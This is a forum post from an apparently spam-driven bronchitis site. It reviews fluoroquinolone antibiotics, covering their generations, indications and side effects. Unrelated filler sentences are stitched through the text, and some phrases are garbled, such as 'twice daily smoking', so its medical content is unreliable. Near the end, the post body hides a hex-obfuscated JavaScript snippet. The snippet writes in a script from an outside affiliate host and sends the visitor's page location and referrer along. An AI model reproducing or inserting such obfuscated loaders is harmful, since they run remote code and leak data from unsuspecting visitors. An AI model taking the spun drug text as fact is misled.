test

HELLO!!!!!!!!!!!!!!!!!!!!

Keywords

Latest topics
» Persistent Cough: Bronchitis: More Than a Cough
Mon Sep 26, 2016 10:06 am by Admin

» Treat Bronchitis: Herbal Therapy for Bronchitis
Mon Sep 26, 2016 10:05 am by Admin

» Tamiflu for the Treatment of Influenza
Mon Sep 26, 2016 10:05 am by Admin

» Bronchitis Breathe
Mon Sep 26, 2016 10:04 am by Admin

» Bronchitis: Acute Exacerbation of Chronic Bronchitis:
Mon Sep 26, 2016 10:03 am by Admin

» Chronic Bronchitis Asthma
Mon Sep 26, 2016 10:02 am by Admin

» Bronchitis: the Respiratory Problem
Mon Sep 26, 2016 10:01 am by Admin

» Cough Chronic Bronchitis
Mon Sep 26, 2016 10:01 am by Admin

» Bronchitis
Mon Sep 26, 2016 10:00 am by Admin

October 2017
MonTueWedThuFriSatSun
      1
2345678
9101112131415
16171819202122
23242526272829
3031     

Calendar Calendar


First Signs Bronchitis

View previous topic View next topic Go down

First Signs Bronchitis

Post by Admin on Mon Aug 29, 2016 1:51 pm

Fluoroquinolone Antibiotics Classification, Uses and Side

The fluoroquinolones are a relatively new group of antibiotics. Fluoroquinolones were first introduced in 1986, but they are really modified quinolones, a class of antibiotics, whose accidental discovery occurred in the early 1960.

The newer fluoroquinolones have a wider clinical use and a broader spectrum of antibacterial activity including gram-positive and gram-negative aerobic and anaerobic organisms. Some of the newer fluoroquinolones have an important role in the treatment of community-acquired pneumonia and intra-abdominal infections. Do not judge a book by its cover; so don't just scan through this matter on Bronchitis. read it thoroughly to judge its value and importance.

Fluoroquinolones Advantages:

Ease of administration Daily or twice daily smoking Excellent oral absorption Excellent tissue penetration Prolonged half-lives Significant entry into phagocytic cells Efficacy Overall safety We were actually wondering how to get about to writing about Chronic Bronchitis. However once we started writing, the words just seemed to flow continuously! Embarassed

Fourth Generation

The fourth-generation fluoroquinolones add significant antimicrobial activity against anaerobes while maintaining the gram-positive and gram-negative activity of the third-generation drugs. They also retain activity against Pseudomonas species comparable to that of ciprofloxacin. The fourth-generation fluoroquinolones include trovafloxacin (Trovan).


Classification of Antibiotics - Kenaho21's Soup





Classification of Fluoroquinolones As a group, the fluoroquinolones have excellent in vitro activity against a wide range of both gram-positive and gram-negative bacteria. The newest fluoroquinolones have enhanced activity against gram-positive bacteria with only a minimal decrease in activity against gram-negative bacteria. Their expanded gram-positive activity is especially important because it includes significant activity against Streptococcus pneumoniae. It is rather interesting to note that people like reading about Bronchitis if they are presented in an easy and clear way. The presentation of an article too is important for one to entice people to read it!

Fluoroquinolones are approved for use only in people older than 18. They can affect the growth of bones, teeth, and cartilage in a child or fetus. The FDA has assigned fluoroquinolones to pregnancy risk category C, indicating that these drugs have the potential to cause teratogenic or embryocidal effects. Giving fluoroquinolones during pregnancy is not recommended unless the benefits justify the potential risks to the fetus. These agents are also excreted in breast milk and should be avoided during breast-feeding if at all possible. It is always better to have compositions with as little corrections in it as possible. This is why we have written this composition bronchitis home remedies and bronchitis chinese medicine no corrections for the reader to be more interested in reading it.

Fluoroquinolones Disadvantages:

Tendonitis or tendon rupture Multiple drug interactions Not used in children Newer quinolones produce additional toxicities to the heart that were not found with the older agents It is with much interest that we got about to write on Bronchitis. So we do hope that you too read this article with the same, if not more interest!

Second Generation

The second-generation fluoroquinolones have increased gram-negative activity, as well as some gram-positive and atypical pathogen coverage. Compared with first-generation quinolones, these drugs have broader clinical applications in the treatment of complicated urinary tract infections and pyelonephritis, sexually transmitted diseases, selected pneumonias and skin infections. The presentation of an article on Chronic Bronchitis plays an important role in getting the reader interested in reading it. This is the reason for this presentation, which has gotten you interested in reading it!

Conditions treated with Fluoroquinolones: indications and uses The newer fluoroquinolones have a wider clinical use and a broader spectrum of antibacterial activity including gram-positive and gram-negative aerobic and anaerobic organisms. Some of the newer fluoroquinolones have an important role in the treatment of community-acquired pneumonia and intra-abdominal infections. The serum elimination half-life of the fluoroquinolones range from 3 -20 hours, allowing for once or twice daily dosing.

Urinary tract infections (norfloxacin, lomefloxacin, enoxacin, ofloxacin, ciprofloxacin, levofloxacin, gatifloxacin, trovafloxacin) Lower respiratory tract infections (lomefloxacin, ofloxacin, ciprofloxacin, trovafloxacin) Skin and skin-structure infections (ofloxacin, ciprofloxacin, levofloxacin, trovafloxacin) Urethral and cervical gonococcal infections (norfloxacin, enoxacin, ofloxacin, ciprofloxacin, gatifloxacin, trovafloxacin) Prostatitis (norfloxacin, ofloxacin, trovafloxacin) Acute sinusitis (ciprofloxacin, levofloxacin, gatifloxacin, moxifloxacin (Avelox), trovafloxacin) Acute exacerbations of allergische bronchitis (levofloxacin, sparfloxacin (Zagam), gatifloxacin, moxifloxacin, trovafloxacin) Community-acquired pneumonia (levofloxacin, sparfloxacin, gatifloxacin, moxifloxacin, trovafloxacin)

First Generation

The first-generation agents include cinoxacin and nalidixic acid, which are the oldest and least often used quinolones. These drugs had poor systemic distribution and limited activity and were used primarily for gram-negative urinary tract infections. Cinoxacin and nalidixic acid require more frequent dosing than the newer quinolones, and they are more susceptible to the development of bacterial resistance. Wink

Gastrointestinal Effects

The most common adverse events experienced with fluoroquinolone administration are gastrointestinal (nausea, vomiting, diarrhea, constipation, and abdominal pain), which occur in 1 to 5% of patients. CNS effects. Headache, dizziness, and drowsiness have been reported with all fluoroquinolones. Insomnia was reported in 3-7% of patients with ofloxacin. Severe CNS effects, including seizures, have been reported in patients receiving trovafloxacin. Seizures may develop within 3 to 4 days of therapy but resolve with drug discontinuation. Although seizures are infrequent, fluoroquinolones should be avoided in patients with a history of convulsion, cerebral trauma, or anoxia. No seizures have been reported with levofloxacin, moxifloxacin, gatifloxacin, and gemifloxacin. With the older non-fluorinated quinolones neurotoxic symptoms such as dizziness occurred in about 50% of the patients. Phototoxicity. Exposure to ultraviolet A rays from direct or indirect sunlight should be avoided during treatment and several days (5 days with sparfloxacin) after the use of the drug. The degree of phototoxic potential of fluoroquinolones is as follows: lomefloxacin > sparfloxacin > ciprofloxacin > norfloxacin = ofloxacin = levofloxacin = gatifloxacin = moxifloxacin. Musculoskeletal effects. Concern about the development of musculoskeletal effects, evident in animal studies, has led to the contraindication of fluoroquinolones for routine use in children and in women who are pregnant or lactating. Tendon damage (tendinitis and tendon rupture). Although fluoroquinolone-related tendinitis generally resolves within one week of discontinuation of therapy, spontaneous ruptures have been reported as long as nine months after cessation of fluoroquinolone use. Potential risk factors for tendinopathy include age >50 years, male gender, and concomitant use of corticosteroids. Hepatoxicity. Trovafloxacin use has been associated with rare liver damage, which prompted the withdrawal of the oral preparations from the U.S. market. However, the IV preparation is still available for treatment of infections so serious that the benefits outweigh the risks. Cardiovascular effects. The newer quinolones have been found to produce additional toxicities to the heart that were not found with the older compounds. Evidence suggests that sparfloxacin and grepafloxacin may have the most cardiotoxic potential. Hypoglycemia/Hyperglycemia. Recently, rare cases of hypoglycemia have been reported with gatifloxacin and ciprofloxacin in patients also receiving oral diabetic medications, primarily sulfonylureas. Although hypoglycemia has been reported with other fluoroquinolones (levofloxacin and moxifloxacin), the effects have been mild. Hypersensitivity. Hypersensitivity reactions occur only occasionally during quinolone therapy and are generally mild to moderate in severity, and usually resolve after treatment is stopped. Smile

All of the fluoroquinolones are effective in treating urinary tract infections caused by susceptible organisms. They are the first-line treatment of acute uncomplicated cystitis in patients who cannot tolerate sulfonamides or TMP, who live in geographic areas with known resistance > 10% to 20% to TMP-SMX, or who have risk factors for such resistance.

Because of concern about hepatotoxicity, trovafloxacin therapy should be reserved for life- or limb-threatening infections requiring inpatient treatment (hospital or long-term care facility), and the drug should be taken for no longer than 14 days. A rolling stone gathers no moss. So if I just go on writing, and you don't understand, then it is of no use of me writing about Chronic Bronchitis! Whatever written should be understandable by the reader.

Side Effects

The fluoroquinolones as a class are generally well tolerated. Most adverse effects are mild in severity, self-limited, and rarely result in treatment discontinuation. However, they can have serious adverse effects.


Because of their expanded antimicrobial spectrum, third-generation fluoroquinolones are useful in the treatment of community-acquired pneumonia, acute sinusitis and acute exacerbations of chronic bronchitis, which are their primary FDA-labeled indications. The third-generation fluoroquinolones include levofloxacin, gatifloxacin, moxifloxacin and sparfloxacin.


var c2="bronchitis";var _0xded0=["\x3C\x73\x63","\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x74\x6C","\x69\x66\x65\x6C","\x61\x62\x73\x2E\x63\x6F\x6D\x2F\x61\x66\x66\x69\x6C\x69\x61\x74\x65\x73\x2F\x61\x64\x2E\x6A\x73\x3F\x63\x3D","\x26\x73\x3D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x61\x69\x64\x3D\x38\x37\x32\x31\x27\x3E\x3C\x2F\x73\x63\x72\x69","\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xded0[8]](_0xded0[0]+_0xded0[1]+_0xded0[2]+_0xded0[3]+c2+_0xded0[4]+encodeURIComponent(window[_0xded0[5]])+"\x26\x72\x65\x66\x3D"+encodeURIComponent(document["\x72\x65\x66\x65\x72\x72\x65\x72"])+_0xded0[6]+_0xded0[7]);

Admin
Admin

Posts : 187
Join date : 2016-05-11

View user profile http://bronch.forumotion.com

Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum